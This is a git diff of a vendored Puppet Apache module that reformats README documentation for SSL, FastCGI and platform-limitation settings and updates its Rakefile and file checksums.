Creates URL [`rewrites`](#rewrites) rules in virtual host directories. Expects an array of hashes, and the hash keys can be any of 'comment', 'rewrite_base', 'rewrite_cond', or 'rewrite_rule'.
@@ -3633,7 +4634,7 @@ apache::vhost { 'secure.example.net':
> **Note**: If you include rewrites in your directories, also include `apache::mod::rewrite` and consider setting the rewrites using the `rewrites` parameter in `apache::vhost` rather than setting the rewrites in the virtual host's directories.
-###### `shib_request_settings`
+##### `shib_request_settings`
Allows a valid content setting to be set or altered for the application request. This command takes two parameters: the name of the content setting, and the value to set it to. Check the Shibboleth [content setting documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPContentSettings) for valid settings. This key is disabled if `apache::mod::shib` is not defined. Check the [`mod_shib` documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPApacheConfig#NativeSPApacheConfig-Server/VirtualHostOptions) for more details.
@@ -3649,11 +4650,11 @@ apache::vhost { 'secure.example.net':
}
```
-###### `shib_use_headers`
+##### `shib_use_headers`
-When set to 'On', this turns on the use of request headers to publish attributes to applications. Valid options for this key is 'On' or 'Off', and the default value is 'Off'. This key is disabled if `apache::mod::shib` is not defined. Check the [`mod_shib` documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPApacheConfig#NativeSPApacheConfig-Server/VirtualHostOptions) for more details.
+When set to 'On', this turns on the use of request headers to publish attributes to applications. Values for this key is 'On' or 'Off', and the default value is 'Off'. This key is disabled if `apache::mod::shib` is not defined. Check the [`mod_shib` documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPApacheConfig#NativeSPApacheConfig-Server/VirtualHostOptions) for more details.
-###### `ssl_options`
+##### `ssl_options`
String or list of [SSLOptions](https://httpd.apache.org/docs/current/mod/mod_ssl.html#ssloptions), which configure SSL engine run-time options. This handler takes precedence over SSLOptions set in the parent block of the virtual host.
@@ -3671,7 +4672,7 @@ apache::vhost { 'secure.example.net':
}
```
-###### `suphp`
+##### `suphp`
A hash containing the 'user' and 'group' keys for the [suPHP_UserGroup](http://www.suphp.org/DocumentationView.html?file=apache/CONFIG) setting. It must be used with `suphp_engine => on` in the virtual host declaration, and can only be passed within `directories`.
@@ -3688,9 +4689,9 @@ apache::vhost { 'secure.example.net':
],
}
```
-###### `additional_includes`
+##### `additional_includes`
-Specifies paths to additional static, specific Apache configuration files in virtual host directories. Valid options: a array of string path.
+Specifies paths to additional static, specific Apache configuration files in virtual host directories. Values: a array of string path.
``` puppet
apache::vhost { 'sample.example.net':
@@ -3709,60 +4710,90 @@ All of the SSL parameters for `::vhost` default to whatever is set in the base `
##### `ssl`
-Enables SSL for the virtual host. SSL virtual hosts only respond to HTTPS queries. Valid options: Boolean. Default: false.
+Enables SSL for the virtual host. SSL virtual hosts only respond to HTTPS queries. Values: Boolean.
+
+Default: `false`.
##### `ssl_ca`
-Specifies the SSL certificate authority. Default: undef.
+Specifies the SSL certificate authority.
+
+Default: `undef`.
##### `ssl_cert`
-Specifies the SSL certification. Defaults are based on your OS: '/etc/pki/tls/certs/localhost.crt' for RedHat, '/etc/ssl/certs/ssl-cert-snakeoil.pem' for Debian, '/usr/local/etc/apache22/server.crt' for FreeBSD, and '/etc/ssl/apache2/server.crt' on Gentoo.
+Specifies the SSL certification. Defaults are based on your OS.
+
+* RedHat: '/etc/pki/tls/certs/localhost.crt'
+* Debian: '/etc/ssl/certs/ssl-cert-snakeoil.pem'
+* FreeBSD: '/usr/local/etc/apache22/server.crt'
+* Gentoo: '/etc/ssl/apache2/server.crt'
##### `ssl_protocol`
-Specifies [SSLProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslprotocol). Expects an array or space separated string of accepted protocols. Defaults: 'all', '-SSLv2', '-SSLv3'.
+Specifies [SSLProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslprotocol). Expects an array or space separated string of accepted protocols.
+
+Defaults: 'all', '-SSLv2', '-SSLv3'.
##### `ssl_cipher`
-Specifies [SSLCipherSuite](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslciphersuite). Default: 'HIGH:MEDIUM:!aNULL:!MD5'.
+Specifies [SSLCipherSuite](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslciphersuite).
+
+Default: 'HIGH:MEDIUM:!aNULL:!MD5'.
##### `ssl_honorcipherorder`
-Sets [SSLHonorCipherOrder](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslhonorcipherorder), to cause Apache to use the server's preferred order of ciphers rather than the client's preferred order. Default: true. In addition to true/false Boolean values, will also accept case-insensitive Strings 'on' or 'off'.
+Sets [SSLHonorCipherOrder](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslhonorcipherorder), to cause Apache to use the server's preferred order of ciphers rather than the client's preferred order. Values:
+
+Values: Boolean, 'on', 'off'.
+
+Default: `true`.
##### `ssl_certs_dir`
-Specifies the location of the SSL certification directory. Default: Depends on the operating system.
+Specifies the location of the SSL certification directory. Default: Depends on operating system.
-- **Debian:** '/etc/ssl/certs'
-- **Red Hat:** '/etc/pki/tls/certs'
-- **FreeBSD:** undef
-- **Gentoo:** '/etc/ssl/apache2'
+- Debian: '/etc/ssl/certs'
+- Red Hat: '/etc/pki/tls/certs'
+- FreeBSD: `undef`
+- Gentoo: '/etc/ssl/apache2'
##### `ssl_chain`
-Specifies the SSL chain. Default: undef. This default works out of the box, but it must be updated in the base `apache` class with your specific certificate information before being used in production.
+Specifies the SSL chain. This default works out of the box, but it must be updated in the base `apache` class with your specific certificate information before being used in production.
+
+Default: `undef`.
##### `ssl_crl`
-Specifies the certificate revocation list to use. Default: undef. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.)
+Specifies the certificate revocation list to use. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.)
+
+Default: `undef`.
##### `ssl_crl_path`
-Specifies the location of the certificate revocation list. Default: undef. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.)
+Specifies the location of the certificate revocation list. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.)
+
+Default: `undef`.
##### `ssl_crl_check`
-Sets the certificate revocation check level via the [SSLCARevocationCheck directive](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationcheck). Default: undef. This default works out of the box but must be specified when using CRLs in production. Only applicable to Apache 2.4 or higher; the value is ignored on older versions.
+Sets the certificate revocation check level via the [SSLCARevocationCheck directive](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationcheck). The default works out of the box but must be specified when using CRLs in production. Only applicable to Apache 2.4 or higher; the value is ignored on older versions.
+
+Default: `undef`.
##### `ssl_key`
-Specifies the SSL key. Defaults are based on your operating system: '/etc/pki/tls/private/localhost.key' for RedHat, '/etc/ssl/private/ssl-cert-snakeoil.key' for Debian, '/usr/local/etc/apache22/server.key' for FreeBSD, and '/etc/ssl/apache2/server.key' on Gentoo. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.)
+Specifies the SSL key. Defaults are based on your operating system. Default work out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.
+
+* RedHat: '/etc/pki/tls/private/localhost.key'
+* Debian: '/etc/ssl/private/ssl-cert-snakeoil.key'
+* FreeBSD: '/usr/local/etc/apache22/server.key'
+* Gentoo: '/etc/ssl/apache2/server.key'
##### `ssl_verify_client`
-Sets the [SSLVerifyClient](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifyclient) directive, which sets the certificate verification level for client authentication. Valid options are: 'none', 'optional', 'require', and 'optional_no_ca'. Default: undef.
+Sets the [SSLVerifyClient](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifyclient) directive, which sets the certificate verification level for client authentication.
``` puppet
apache::vhost { 'sample.example.net':
@@ -3771,9 +4802,14 @@ apache::vhost { 'sample.example.net':
}
```
+Values: 'none', 'optional', 'require', and 'optional_no_ca'.
+
+Default: `undef`.
+
+
##### `ssl_verify_depth`
-Sets the [SSLVerifyDepth](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifydepth) directive, which specifies the maximum depth of CA certificates in client certificate verification. Default: undef.
+Sets the [SSLVerifyDepth](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifydepth) directive, which specifies the maximum depth of CA certificates in client certificate verification.
``` puppet
apache::vhost { 'sample.example.net':
@@ -3781,18 +4817,38 @@ apache::vhost { 'sample.example.net':
ssl_verify_depth => 1,
}
```
+
+Default: `undef`.
+
##### `ssl_proxy_protocol`
-Sets the [SSLProxyProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyprotocol) directive, which controls the SSL protocol flavors mod_ssl should use when establishing its server environment for proxy. It will only connect to servers using one of the provided protocols. Default: undef.
+Sets the [SSLProxyProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyprotocol) directive, which controls which SSL protocol flavors `mod_ssl` should use when establishing its server environment for proxy. It connects to servers using only one of the provided protocols.
+Default: `undef`.
##### `ssl_proxy_verify`
-Sets the [SSLProxyVerify](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyverify) directive, which configures certificate verification of the remote server when a proxy is configured to forward requests to a remote SSL server. Default: undef.
+Sets the [SSLProxyVerify](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyverify) directive, which configures certificate verification of the remote server when a proxy is configured to forward requests to a remote SSL server.
+
+Default: `undef`.
+
+##### `ssl_proxy_verify_depth`
+
+Sets the [SSLProxyVerifyDepth](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyverifydepth) directive, which configures how deeply mod_ssl should verify before deciding that the remote server does not have a valid certificate.
+
+A depth of 0 means that only self-signed remote server certificates are accepted, the default depth of 1 means the remote server certificate can be self-signed or signed by a CA that is directly known to the server.
+
+Default: `undef`
+
+##### `ssl_proxy_ca_cert`
+
+Sets the [SSLProxyCACertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycacertificatefile) directive, which specifies an all-in-one file where you can assemble the Certificates of Certification Authorities (CA) whose remote servers you deal with. These are used for Remote Server Authentication. This file should be a concatenation of the PEM-encoded certificate files in order of preference.
+
+Default: `undef`
##### `ssl_proxy_machine_cert`
-Sets the [SSLProxyMachineCertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxymachinecertificatefile) directive, which specifies an all-in-one file where you keep the certs and keys used for this server to authenticate itself to remote servers. This file should be a concatenation of the PEM-encoded certificate files in order of preference. Default: undef.
+Sets the [SSLProxyMachineCertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxymachinecertificatefile) directive, which specifies an all-in-one file where you keep the certs and keys used for this server to authenticate itself to remote servers. This file should be a concatenation of the PEM-encoded certificate files in order of preference.
``` puppet
apache::vhost { 'sample.example.net':
@@ -3801,21 +4857,35 @@ apache::vhost { 'sample.example.net':
}
```
+Default: `undef`
+
##### `ssl_proxy_check_peer_cn`
-Sets the [SSLProxyCheckPeerCN](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeercn) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL. Valid options: 'on', 'off'. Default: undef.
+Sets the [SSLProxyCheckPeerCN](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeercn) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL.
+
+Values: 'on', 'off'.
+
+Default: `undef`
##### `ssl_proxy_check_peer_name`
-Sets the [SSLProxyCheckPeerName](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeername) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL. Valid options: 'on', 'off'. Default: undef.
+Sets the [SSLProxyCheckPeerName](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeername) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL.
+
+Values: 'on', 'off'.
+
+Default: `undef`
##### `ssl_proxy_check_peer_expire`
-Sets the [SSLProxyCheckPeerExpire](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeerexpire) directive, which specifies whether the remote server certificate is checked for expiration or not. Valid options: 'on', 'off'. Default: undef.
+Sets the [SSLProxyCheckPeerExpire](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeerexpire) directive, which specifies whether the remote server certificate is checked for expiration or not.
+
+Values: 'on', 'off'.
+
+Default: `undef`
##### `ssl_options`
-Sets the [SSLOptions](https://httpd.apache.org/docs/current/mod/mod_ssl.html#ssloptions) directive, which configures various SSL engine run-time options. This is the global setting for the given virtual host and can be a string or an array. Default: undef.
+Sets the [SSLOptions](https://httpd.apache.org/docs/current/mod/mod_ssl.html#ssloptions) directive, which configures various SSL engine run-time options. This is the global setting for the given virtual host and can be a string or an array.
A string:
@@ -3835,32 +4905,48 @@ apache::vhost { 'sample.example.net':
}
```
+Default: `undef`.
+
##### `ssl_openssl_conf_cmd`
-Sets the [SSLOpenSSLConfCmd](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslopensslconfcmd) directive, which provides direct configuration of OpenSSL parameters. Default: undef.
+Sets the [SSLOpenSSLConfCmd](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslopensslconfcmd) directive, which provides direct configuration of OpenSSL parameters.
+
+Default: `undef`
##### `ssl_proxyengine`
-Specifies whether or not to use [SSLProxyEngine](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyengine). Valid options: Boolean. Default: true.
+Specifies whether or not to use [SSLProxyEngine](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyengine).
+
+Boolean.
+
+Default: `true`.
##### `ssl_stapling`
-Specifies whether or not to use [SSLUseStapling](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslusestapling). Valid options: Boolean or undef. Default: undef, meaning use what is set globally.
+Specifies whether or not to use [SSLUseStapling](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslusestapling). By default, uses what is set globally.
This parameter only applies to Apache 2.4 or higher and is ignored on older versions.
+Boolean or `undef`.
+
+Default: `undef`
+
##### `ssl_stapling_timeout`
-Can be used to set the [SSLStaplingResponderTimeout](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingrespondertimeout) directive. No default.
+Can be used to set the [SSLStaplingResponderTimeout](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingrespondertimeout) directive.
This parameter only applies to Apache 2.4 or higher and is ignored on older versions.
+Default: none.
+
##### `ssl_stapling_return_errors`
-Can be used to set the [SSLStaplingReturnResponderErrors](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingreturnrespondererrors) directive. No default.
+Can be used to set the [SSLStaplingReturnResponderErrors](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingreturnrespondererrors) directive.
This parameter only applies to Apache 2.4 or higher and is ignored on older versions.
+Default: none.
+
#### Defined type: FastCGI Server
This type is intended for use with mod\_fastcgi. It allows you to define one or more external FastCGI servers to handle specific file types.
@@ -3873,7 +4959,7 @@ Ex:
apache::fastcgi::server { 'php':
host => '127.0.0.1:9000',
timeout => 15,
- flush => false,
+ flush => `false`,
faux_path => '/var/www/php.fcgi',
fcgi_alias => '/php.fcgi',
file_type => 'application/x-httpd-php',
@@ -3909,11 +4995,11 @@ The number of seconds of FastCGI application inactivity allowed before the reque
##### `flush`
-Force a write to the client as data is received from the application. By default, mod\_fastcgi buffers data in order to free the application as quickly as possible.
+Force a write to the client as data is received from the application. By default, `mod_fastcgi` buffers data in order to free the application as quickly as possible.
##### `faux_path`
-`faux_path` does not have to exist in the local filesystem. URIs that Apache resolves to this filename are handled by this external FastCGI application.
+Does not have to exist in the local filesystem. URIs that Apache resolves to this filename are handled by this external FastCGI application.
##### `alias`
@@ -3939,16 +5025,25 @@ Sets the configuration file's content.
##### `ensure`
-Specifies if the virtual host file is present or absent. Valid options: 'absent', 'present'. Default: 'present'.
+Specifies if the virtual host file is present or absent.
+
+Values: 'absent', 'present'.
+
+Default: 'present'.
##### `priority`
-Sets the relative load order for Apache HTTPD VirtualHost configuration files. Default: '25'.
+Sets the relative load order for Apache HTTPD VirtualHost configuration files.
+
+Default: '25'.
##### `verify_config`
-Specifies whether to validate the configuration file before notifying the Apache service. Valid options: Boolean. Default: true.
+Specifies whether to validate the configuration file before notifying the Apache service.
+Boolean.
+
+Default: `true`.
### Private defined types
@@ -3974,25 +5069,6 @@ The Apache module relies heavily on templates to enable the [`apache::vhost`][]
## Limitations
-### Ubuntu 10.04
-
-The [`apache::vhost::WSGIImportScript`][] parameter creates a statement inside the virtual host that is unsupported on older versions of Apache, causing it to fail. This will be remedied in a future refactoring.
-
-### Ubuntu 16.04
-The [`apache::mod::suphp`][] class is untested since repositories are missing compatible packages.
-
-### RHEL/CentOS 5
-
-The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested since repositories are missing compatible packages.
-
-### RHEL/CentOS 6
-
-The [`apache::mod::passenger`][] class is not installing as the the EL6 repository is missing compatible packages.
-
-### RHEL/CentOS 7
-
-The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested as the EL7 repository is missing compatible packages, which also blocks us from testing the [`apache::vhost`][] defined type's [`rack_base_uris`][] parameter.
-
### General
This module is CI tested against both [open source Puppet][] and [Puppet Enterprise][] on:
@@ -4004,14 +5080,30 @@ This module is CI tested against both [open source Puppet][] and [Puppet Enterpr
This module also provides functions for other distributions and operating systems, such as FreeBSD, Gentoo, and Amazon Linux, but is not formally tested on them and are subject to regressions.
-### Ubuntu 10.04
+### FreeBSD
-The [`apache::vhost::wsgi_import_script`][] parameter creates a statement inside the virtual host that is unsupported on older versions of Apache, causing it to fail. This will be remedied in a future refactoring.
+In order to use this module on FreeBSD, you _must_ use apache24-2.4.12 (www/apache24) or newer.
+
+### Gentoo
+
+On Gentoo, this module depends on the [`gentoo/puppet-portage`][] Puppet module. Although several options apply or enable certain features and settings for Gentoo, it is not a [supported operating system][] for this module.
### RHEL/CentOS
The [`apache::mod::auth_cas`][], [`apache::mod::passenger`][], [`apache::mod::proxy_html`][] and [`apache::mod::shib`][] classes are not functional on RH/CentOS without providing dependency packages from extra repositories.
-See their respective documentation above for related repositories and packages.
+See their respective documentation below for related repositories and packages.
+
+#### RHEL/CentOS 5
+
+The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested because repositories are missing compatible packages.
+
+#### RHEL/CentOS 6
+
+The [`apache::mod::passenger`][] class is not installing, because the the EL6 repository is missing compatible packages.
+
+#### RHEL/CentOS 7
+
+The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested because the EL7 repository is missing compatible packages, which also blocks us from testing the [`apache::vhost`][] defined type's [`rack_base_uris`][] parameter.
### SELinux and custom paths
@@ -4058,23 +5150,26 @@ apache::vhost { 'test.server':
}
```
-You need to set the contexts using `semanage fcontext` instead of `chcon` because Puppet's `file` resources reset the values' context in the database if the resource doesn't specify it.
+You must set the contexts using `semanage fcontext` instead of `chcon` because Puppet's `file` resources reset the values' context in the database if the resource doesn't specify it.
-### FreeBSD
+### Ubuntu 10.04
-In order to use this module on FreeBSD, you _must_ use apache24-2.4.12 (www/apache24) or newer.
+The [`apache::vhost::WSGIImportScript`][] parameter creates a statement inside the virtual host that is unsupported on older versions of Apache, causing it to fail. This will be remedied in a future refactoring.
+
+### Ubuntu 16.04
+The [`apache::mod::suphp`][] class is untested since repositories are missing compatible packages.
## Development
### Contributing
-[Puppet Labs][] modules on the [Puppet Forge][] are open projects, and community contributions are essential for keeping them great. We can’t access the huge number of platforms and myriad hardware, software, and deployment configurations that Puppet is intended to serve.
+[Puppet][] modules on the [Puppet Forge][] are open projects, and community contributions are essential for keeping them great. We can’t access the huge number of platforms and myriad hardware, software, and deployment configurations that Puppet is intended to serve.
We want to make it as easy as possible to contribute changes so our modules work in your environment, but we also need contributors to follow a few guidelines to help us maintain and improve the modules' quality.
For more information, please read the complete [module contribution guide][].
-### Running tests
+### Testing
This project contains tests for both [rspec-puppet][] and [beaker-rspec][] to verify functionality. For detailed information on using these tools, please see their respective documentation.
diff --git a/modules/services/unix/http/apache/Rakefile b/modules/services/unix/http/apache/Rakefile
index f4c70b8d3..3994519d9 100644
--- a/modules/services/unix/http/apache/Rakefile
+++ b/modules/services/unix/http/apache/Rakefile
@@ -1,10 +1,9 @@
-require 'puppet_blacksmith/rake_tasks'
-require 'puppet-lint/tasks/puppet-lint'
require 'puppetlabs_spec_helper/rake_tasks'
+require 'puppet-lint/tasks/puppet-lint'
+require 'puppet_blacksmith/rake_tasks' if Bundler.rubygems.find_name('puppet-blacksmith').any?
+PuppetLint.configuration.fail_on_warnings = true
PuppetLint.configuration.send('relative')
-PuppetLint.configuration.send('disable_documentation')
-PuppetLint.configuration.send('disable_single_quote_string_with_variables')
PuppetLint.configuration.send('disable_only_variable_string')
desc 'Generate pooler nodesets'
diff --git a/modules/services/unix/http/apache/checksums.json b/modules/services/unix/http/apache/checksums.json
index 076f70319..c52d59c2a 100644
--- a/modules/services/unix/http/apache/checksums.json
+++ b/modules/services/unix/http/apache/checksums.json
@@ -1,11 +1,12 @@
{
- "CHANGELOG.md": "3cf646fb26cf26763a7cfb5aad950d1a",
- "CONTRIBUTING.md": "b78f71c1104f00538d50ad2775f58e95",
- "Gemfile": "8229b2c0196b32a14403f99450c801af",
+ "CHANGELOG.md": "d5da65931d19f0aabf13a428dc56bc0c",
+ "CONTRIBUTING.md": "77d0440d7cd4206497f99065c60bed46",
+ "Gemfile": "bedf635025b279d7c7732adcc8ae9a29",
"LICENSE": "3b83ef96387f14655fc854ddc3c6bd57",
- "NOTICE": "b7f979f1e3cd132677e1cd7762547e6b",
- "README.md": "320bd7f9fb5e88b097805076c39b6b02",
- "Rakefile": "3a104cbf874d68f98be0c43522d54a27",
+ "MAINTAINERS.md": "6508b1d302b38186425992a66186c060",
+ "NOTICE": "b7760cf49f58b80b31df83244cc0fbd0",
+ "README.md": "b9a192cdc9ddecd060bc011a76df4b81",
+ "Rakefile": "a49b6653243c678ed33c8870db467d89",
"examples/apache.pp": "41e97262421ea5734fac16a338701a78",
"examples/dev.pp": "8da0d50d9d06834dd06329b8945f06d5",
"examples/init.pp": "d27415f33028c26d4031d30305eec5e0",
@@ -13,7 +14,7 @@
"examples/mods.pp": "78a25c9e226265353eabefd3ddfd4218",
"examples/mods_custom.pp": "bc9e6959c282984cf9cdd93869c89499",
"examples/php.pp": "afa0871b94040e3ae91fce9c375fb725",
- "examples/vhost.pp": "2e9880fd36401c2f0b083054e7c69f3c",
+ "examples/vhost.pp": "27d808964b43d157de5ce8f47b441b46",
"examples/vhost_directories.pp": "95aa446a2fccf9f3561581a5d71c61a7",
"examples/vhost_filter.pp": "62c5af7868af9887b7d71769c319c1e5",
"examples/vhost_ip_based.pp": "7a4d4c1c00147c45e4534f58d2fbf4ed",
@@ -23,7 +24,6 @@
"files/httpd": "295f5e924afe6f752d29327e73fe6d0a",
"lib/facter/apache_version.rb": "babb22b1d567021995b4b5fa9328047b",
"lib/puppet/parser/functions/bool2httpd.rb": "05d5deeb6e0c31acee7c55b249ec8e06",
- "lib/puppet/parser/functions/enclose_ipv6.rb": "581bc163291824909d1700909db96512",
"lib/puppet/parser/functions/validate_apache_log_level.rb": "d75bc4ef17ff5c9a1f94dd3948e733d1",
"lib/puppet/provider/a2mod/a2mod.rb": "d986d8e8373f3f31c97359381c180628",
"lib/puppet/provider/a2mod/gentoo.rb": "2492d446adbb68f678e86a75eb7ff3bd",
@@ -31,47 +31,50 @@
"lib/puppet/provider/a2mod/redhat.rb": "c39b80e75e7d0666def31c2a6cdedb0b",
"lib/puppet/provider/a2mod.rb": "03ed73d680787dd126ea37a03be0b236",
"lib/puppet/type/a2mod.rb": "9042ccc045bfeecca28bebb834114f05",
+ "locales/config.yaml": "ca04e502d031649d4aaa40d1803ade8b",
+ "locales/puppetlabs-apache.pot": "4bd09a821333cf6c272a64e944ef4e01",
"manifests/balancer.pp": "b444ff1415ba0bd6c8ec1497bcc9cfb3",
"manifests/balancermember.pp": "d74ab23d74fa198853b13ad837df925c",
"manifests/confd/no_accf.pp": "406d0ca41c3b90f83740ca218dc3f484",
- "manifests/custom_config.pp": "c5df4d455ff918f39e6341784457bca9",
+ "manifests/custom_config.pp": "357badc11586c8bb726f2a36364c0932",
"manifests/default_confd_files.pp": "86fdbe5773abb7c2da26db096973865c",
"manifests/default_mods/load.pp": "bc0b3b65edd1ba6178c09672352f9bce",
"manifests/default_mods.pp": "e4a7aa787443fce2e76c37e8fec99012",
"manifests/dev.pp": "8a7ead42f991e5dfdd364ba1aa1304e0",
"manifests/fastcgi/server.pp": "f177293f02a2878b43a863e8ab3015db",
- "manifests/init.pp": "e76413e0c82c2ae13b658bcd97f31c5a",
+ "manifests/init.pp": "5d0b9eccf800e4c0b293bed68571c4ec",
"manifests/listen.pp": "6e44a9f49376cefb5694d52be5bc5a88",
"manifests/mod/actions.pp": "ec2a5d1cf54790204750f9b67938d230",
"manifests/mod/alias.pp": "1ef0d98a941bd796d428297b74acc8c4",
"manifests/mod/auth_basic.pp": "dffef6ff10145393cb78fcaa27220c53",
- "manifests/mod/auth_cas.pp": "73dcf3f9ba2421a271f6c21bcae2fcbb",
+ "manifests/mod/auth_cas.pp": "f2e61e67393a998a19f8b34506e07e0d",
"manifests/mod/auth_kerb.pp": "8759cab3dc12d6ba4cc12fcdbb699418",
"manifests/mod/auth_mellon.pp": "5bfbc604dd79923bdb65ecab02353059",
"manifests/mod/authn_core.pp": "4db773ddbc0d875230085782d4521951",
"manifests/mod/authn_dbd.pp": "8f03863a483184ca53b9bc3a45b2297f",
"manifests/mod/authn_file.pp": "eeb11513490beee901574746faaeabdf",
- "manifests/mod/authnz_ldap.pp": "41b00baeb26144b889f4f0be4601dae5",
+ "manifests/mod/authnz_ldap.pp": "5fb4b52f54daf03358e08cde676ea4fc",
+ "manifests/mod/authnz_pam.pp": "9f99d93e289a2db42c74046c8ae1889f",
"manifests/mod/authz_default.pp": "b7c94cfa4e008155fffd241d35834064",
"manifests/mod/authz_user.pp": "d446c90c44304594206bd2a0112be625",
"manifests/mod/autoindex.pp": "3b50dc082dba420c3d564309601fd419",
"manifests/mod/cache.pp": "b56d68b9401ba3e02a1f2fe55cdfbcca",
- "manifests/mod/cgi.pp": "32d6da37e010b5abe19b1a3be87a6d44",
+ "manifests/mod/cgi.pp": "731ed7bce75628afeb78afd3fa2fd793",
"manifests/mod/cgid.pp": "fb9ae9b5012d41e22cb85c0b50e17361",
- "manifests/mod/cluster.pp": "3d86d95713aea6107ff9e056d1b1698f",
+ "manifests/mod/cluster.pp": "8b67026e9a6a4bdc6a2481613896ded1",
"manifests/mod/dav.pp": "9df80d36dd609be9032a8260aa9d10c1",
"manifests/mod/dav_fs.pp": "9ad2359d64b0b6f219bd8a338917d114",
"manifests/mod/dav_svn.pp": "abc1ba954033b0b0187c079f310eb0e2",
"manifests/mod/dbd.pp": "4471dbd9fd67d0db885d4ba2a47a194a",
"manifests/mod/deflate.pp": "20231a22aba12eb905f1d7f1853e383e",
"manifests/mod/dev.pp": "42673bab60b6fc0f3aa6e2357ec0a27c",
- "manifests/mod/dir.pp": "c7327a2a0ff02bdab2f5421359d6f300",
+ "manifests/mod/dir.pp": "75039bc8c77b9b82fa12fc5aa1061291",
"manifests/mod/disk_cache.pp": "da18cbefced9bb32fc009e999c5b76e2",
- "manifests/mod/dumpio.pp": "755f6072ef3130fa670022f26da7e429",
+ "manifests/mod/dumpio.pp": "5492a7249450a7fdf335ecb0c3b948f4",
"manifests/mod/env.pp": "2a0321180a59161565b2b5f1b79d6b15",
"manifests/mod/event.pp": "a82a7ab979cc351eb660576bdc91d0e8",
"manifests/mod/expires.pp": "6f12edcf6863958af832db73b56e5f08",
- "manifests/mod/ext_filter.pp": "df12ff3935ffa64f32bf897e433fc0ce",
+ "manifests/mod/ext_filter.pp": "287966c2c0fd450c72a1c9ef88a0e155",
"manifests/mod/fastcgi.pp": "96a3fcf0508a7eb8c9601eac329622eb",
"manifests/mod/fcgid.pp": "96e0a5f09c2d1ba21b2209a6e21b6847",
"manifests/mod/filter.pp": "b0039f3ae932b1204994ef2180dd76d2",
@@ -79,24 +82,26 @@
"manifests/mod/headers.pp": "ef3de538a0a4c9406236faf43eb89710",
"manifests/mod/include.pp": "a3b66eda88e38d90825c16b834bacd8d",
"manifests/mod/info.pp": "c3e815ed9912bb9147805f7274508489",
+ "manifests/mod/intercept_form_submit.pp": "b3e55433272082bac1e7a5334df3b01f",
"manifests/mod/itk.pp": "f631157ebdff68b6fc2bb6dbd5b8e8c4",
- "manifests/mod/ldap.pp": "3fdd5ed6f1db898fc2499ed0ece0abe1",
+ "manifests/mod/ldap.pp": "319e62a24e30221e691b9cf85a6288e1",
+ "manifests/mod/lookup_identity.pp": "a3fd01d395ea09ec1488494fd077dd7b",
"manifests/mod/mime.pp": "24fe99c65367a3f606441605a2ff26dd",
"manifests/mod/mime_magic.pp": "d31702cee9007c2e65c8d3ccbed1fda3",
"manifests/mod/negotiation.pp": "35fb1e9fa643054271804e215bb47299",
"manifests/mod/nss.pp": "3cc69b59bba579181b0ceb1dfd2976d0",
"manifests/mod/pagespeed.pp": "1fcf4c30084bd1e4fa3006b4d3265c1a",
- "manifests/mod/passenger.pp": "55c68abd56d7838bbd6d9cb48bc941bb",
+ "manifests/mod/passenger.pp": "f1a4609f61e30fc839ad7f4b668a750b",
"manifests/mod/perl.pp": "b8180ca0e1e7f8d60030321f52c28d6d",
"manifests/mod/peruser.pp": "13761222709094653bca7bad4435fcdb",
- "manifests/mod/php.pp": "64737f2ea2ad8532aaf515b713e9cac7",
